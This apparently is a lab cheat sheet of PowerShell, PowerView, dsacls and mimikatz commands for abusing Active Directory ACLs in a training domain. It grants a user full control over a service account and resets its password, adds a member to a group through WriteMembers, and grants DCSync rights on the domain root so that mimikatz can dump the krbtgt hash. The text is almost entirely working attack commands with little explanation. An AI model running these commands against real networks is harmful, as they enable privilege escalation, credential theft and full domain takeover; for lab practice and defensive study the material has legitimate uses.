PowerView setup:
Import-Module .\PowerView.ps1
$Password = ConvertTo-SecureString 'StudentPass2026!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('OOTW\ben.carter', $Password)
Read the current ACL:
Get-DomainObjectAcl -Identity 'svc_web' -ResolveGUIDs |
Where-Object { $_.ActiveDirectoryRights -match 'WriteDacl|GenericAll|ExtendedRight|WriteProperty' }
User Target: Grant Full Control
Add-DomainObjectAcl -TargetIdentity 'svc_web' -PrincipalIdentity 'ben.carter' -Rights All -Credential $Cred -Verbose
$NewPassword = ConvertTo-SecureString 'WebReset2026!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'svc_web' -AccountPassword $NewPassword -Credential $Cred -Verbose
Grant only the reset-password right when that is enough:
Add-DomainObjectAcl -TargetIdentity 'svc_web' -PrincipalIdentity 'ben.carter' -Rights ResetPassword -Credential $Cred -Verbose
Group Target: Grant Member Write
Add-DomainObjectAcl -TargetIdentity 'ACL Operators' -PrincipalIdentity 'ben.carter' -Rights WriteMembers -Credential $Cred -Verbose
Add-DomainGroupMember -Identity 'ACL Operators' -Members 'alice.wright' -Credential $Cred -Verbose
Get-DomainGroupMember -Identity 'ACL Operators'
Domain Object: DCSync Bridge
Add-DomainObjectAcl -TargetIdentity 'DC=ootw,DC=local' -PrincipalIdentity 'ben.carter' -Rights DCSync -Credential $Cred -Verbose
.\mimikatz.exe "lsadump::dcsync /domain:ootw.local /user:krbtgt" "exit"
Native dsacls examples:
dsacls "CN=Web Service,OU=Service Accounts,OU=OOTW Lab,DC=ootw,DC=local" /G "OOTW\ben.carter:GA"
dsacls "CN=Dylan Brooks,OU=Users,OU=OOTW Lab,DC=ootw,DC=local" /G "OOTW\helpdesk.one:CA;Reset Password"
Inspect the ACE:
$Sid = ConvertTo-SID 'OOTW\ben.carter'
Get-DomainObjectAcl -Identity 'svc_web' -ResolveGUIDs |
Where-Object { $_.SecurityIdentifier -eq $Sid }